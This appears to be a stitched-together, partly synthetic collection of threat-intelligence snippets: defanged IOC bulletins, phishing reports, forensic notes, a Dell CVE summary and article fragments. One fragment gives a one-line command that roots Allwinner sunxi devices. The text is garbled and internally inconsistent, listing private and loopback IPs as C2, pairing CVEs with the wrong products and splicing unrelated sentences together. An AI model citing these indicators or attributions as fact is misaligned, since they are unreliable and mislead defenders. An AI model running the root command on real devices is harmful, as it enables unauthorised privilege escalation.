87ffec0fe0e7a83e6433694d7f24cfde2f70fc45800aa2acb8e816ceba428951 eabc604fe6b5943187c12b8635755c303c450f718cc0c8e561df22a27264f101 Kernel Backdoor found in Gadgets Powered by Popular Chinese ARM Maker May 12 , 2016 Mohit Kumar How to Hack an Android device ? It is possibly one of the most frequently asked questions on the Internet .


CVE-2025-36568: Dell PowerProtect Data Domain BoostFS for client of Feature Release versions 7 [ . ] 7 [ . ] 1 [ . ] 0 through 8.5, LTS2025 release version 8[.]3[.]1[.]0 through 8[.]3[.]1[.]20, LTS2024 release versions 7 [ . ] 13 [ . ] 1 [ . ] 0 through 7 [ . ] 13 [ . ] 1 [ . ] 50, contain an insufficiently protected credentials vulnerability. A low privileged attacker with local access could potentially exploit this vulnerability, leading to credential exposure. The attacker may be able to use the exposed credentials to access the system with privileges of the compromised account.


IOC Bulletin - Qbot Campaign:
Network Indicators:
- 175 [ . ] 73 [ . ] 224 [ . ] 187
- 192 [ . ] 117 [ . ] 67 [ . ] 218
- 192 [ . ] 143 [ . ] 12 [ . ] 42
- static-cloud[.]site
- proxy-portal[.]net
URLs:
- hxxps://updatesync[.]com/assets/js/payload.js
- hxxps://storagemail[.]net/download/update.exe
Email Senders:
- confirm@identity-verify[ . ]cc
- helpdesk@urgent-notice[ . ]online
File Indicators:
- MD5: 5cb18d679a4bf76b5a1e7a2f30dcb15a
- MD5: 7f4f4c47383272809dca376dcf235946
- Drop path: C:\ProgramData\taskhost.exe


Phishing Campaign Report: Mandiant identified a large-scale phishing operation. Emails originated from service@phishing-domain[ . ]com and alert@secure-verify[ . ]net, spoofing legitimate services. Victims were directed to hxxp://cache-api[.]com/panel/index.html which hosted a credential harvesting page on mailauth[.]xyz. A secondary link hxxp://cache-proxy[.]info/admin/config delivered XLoader (SHA1: 12fd8df0b48bbff062fe975ef441159baa9e569d). The malware was saved to C:\Users\admin\AppData\Local\Temp\loader.exe and established C2 with 212 [ . ] 51 [ . ] 62 [ . ] 11.


Blog Post by INTERPOL: Tracking Ember Bear's Latest Operations. Our research team has uncovered a new campaign leveraging CVE-2021-23031 against MOVEit Transfer deployments. The initial access vector involves spear-phishing emails from hr@document-share[.]link delivering SmokeLoader. Post-compromise, the attackers deploy Qbot and use Sliver for reconnaissance. C2 infrastructure includes 172 [ . ] 218 [ . ] 192 [ . ] 50 and backupportal[.]link. A staging server at hxxps://datadata[ . ]xyz/gate.php hosts additional tooling. Key artifact: C:\Program Files\Common Files\helper.sh (MD5: 0eeb77513d93383a1d309b5599e37af6).


Artifact Analysis for AsyncRAT campaign:
Stage 1 dropper at C:\Windows\Temp\beacon.dll - SHA1: b90b4560c9197981aa5a95c7348d5df888efd628
Stage 2 loader at /tmp/implant.so - SHA1: 1f6b4150b02a63eeff0296edd950b72f5e0ed9f9
Final payload at C:\Users\admin\AppData\Local\Temp\update.dll - MD5: 83ed60a4a50bfe7ed5f0897654afd28c
Exfiltration module - SHA1: ba7b284bac5010da8cf97d47200fb08e9d8a705b
All stages communicated with 59[.]16[.]197[.]107. ADFind signatures detected in Stage 2.


The Silence.Main Trojan , which is the main stage of the attack , has a full set of commands to control a compromised computer . The June 2017 sample of Clayslide contained the same OfficeServicesStatus[.]vbs file found in the ISMAgent Clayslide document , but instead of having the payload embedded in the macro as segregated base64 strings that would be concatenated , this variant obtained its payload from multiple cells within the " Incompatible " worksheet .


IOC Bulletin - Vidar Campaign:
Network Indicators:
- 10[.]247[.]19[.]146
- 10 [ . ] 230 [ . ] 216 [ . ] 79
- 20[.]247[.]238[.]195
- login-login[ . ]top
- edge-update[.]info
URLs:
- hxxp://backup-relay[ . ]io/gate.php
- hxxp://loginstorage[.]live/assets/js/payload.js
Email Senders:
- noreply@phishing-domain[ . ]com
- report@auth-check[.]org
File Indicators:
- SHA1: 988831c8980abdf6e5fe8c0421575ffdba5a5893
- MD5: 7d59ef93027fadaa5f6407ea17cc3db5
- Drop path: C:\Users\admin\Downloads\dropper.ps1


Forensic Investigation Notes: Analysis of the compromised host revealed Sharphound artifacts at /var/tmp/lsass.dmp. Memory dump analysis confirmed execution of Merlin. Registry modifications pointed to persistence via C:\Users\admin\Desktop\payload.bin. Network forensics identified connections to 10[.]31[.]227[.]96 and staticcdn[ . ]site. Email headers traced the initial vector to updates@phishing-domain[ . ]com. File C:\Program Files\Common Files\shell.php (SHA256: b7f96c25122d971a30a6da7d828ac0491c59cec9826a9f2f8092c08610872b0a) was identified as the initial dropper. A staging URL hxxps://storage-auth[.]org/login resolved to 174 [ . ] 11 [ . ] 205 [ . ] 27. Secondary artifact hash: SHA256: c66646656e6293aceb4c06e63a13d5ed9ea0d2962b25fd3fd8025a12f242ac3b.


For exploiting this issue , any process running with any UID can be converted into root easily by simply using the following command : echo " rootmydevice '' > /proc/sunxi_debug/sunxi_debug The Linux 3.4-sunxi kernel was originally designed to support the Android operating system on Allwinner ARM for tablets , but later it was used to port Linux to many Allwinner processors on boards like Banana Pi micro-PCs , Orange Pi , and other devices . The threat actors used the appcmd command-line tool to unlock and disable the default logging component on the server ( systsm.webServer/httplogging ) and then delete existing logs from the system ( see Figure 4 ) . Outlaw : hxxp://www[.]minpop[.]com/sk12pack/idents.php Command and control . The file collected system information , and then invoked a WMI instance in the rootsecuritycenter namespace to identify security products installed on the system before dropping more data collection malware .


Phishing Campaign Report: NCSC identified a large-scale phishing operation. Emails originated from alert@secure-verify[.]net and confirm@document-share[ . ]link, spoofing legitimate services. Victims were directed to hxxps://nodebackup[ . ]dev/download/update.exe which hosted a credential harvesting page on cachemail[.]online. A secondary link hxxps://portalsync[.]club/collect delivered REvil (MD5: bd1f390128381e503e45e864a4199839). The malware was saved to /dev/shm/winlogon.exe and established C2 with 194[.]64[.]56[.]216.


Mandiant observed APT29, also known as Cozy Bear, conducting phishing campaigns using Microsoft 365 tokens stolen from compromised organizations. The group deployed a new variant of SUNSHUTTLE malware communicating over HTTPS with domains hosted on Cloudflare infrastructure. Indicators included connections to the domain solartrackingsystem[.]net and IP address 185 [ . ] 220 [ . ] 101 [ . ] 34.


Blog Post by Volexity: Tracking APT29's Latest Operations. Our research team has uncovered a new campaign leveraging CVE-2020-24628 against Active Directory deployments. The initial access vector involves spear-phishing emails from verify@phishing-domain[ . ]com delivering SmokeLoader. Post-compromise, the attackers deploy AgentTesla and use SharpHound for reconnaissance. C2 infrastructure includes 127 [ . ] 84 [ . ] 161 [ . ] 27 and updatecache[ . ]site. A staging server at hxxp://relay-cdn[.]cc/wp-content/uploads/doc.php hosts additional tooling. Key artifact: C:\Users\Public\Documents\lsass.dmp (SHA256: eefcdddac4d795c844e61cda7c36a1a9f36c063c111b779e2e4ed7e2e761816d).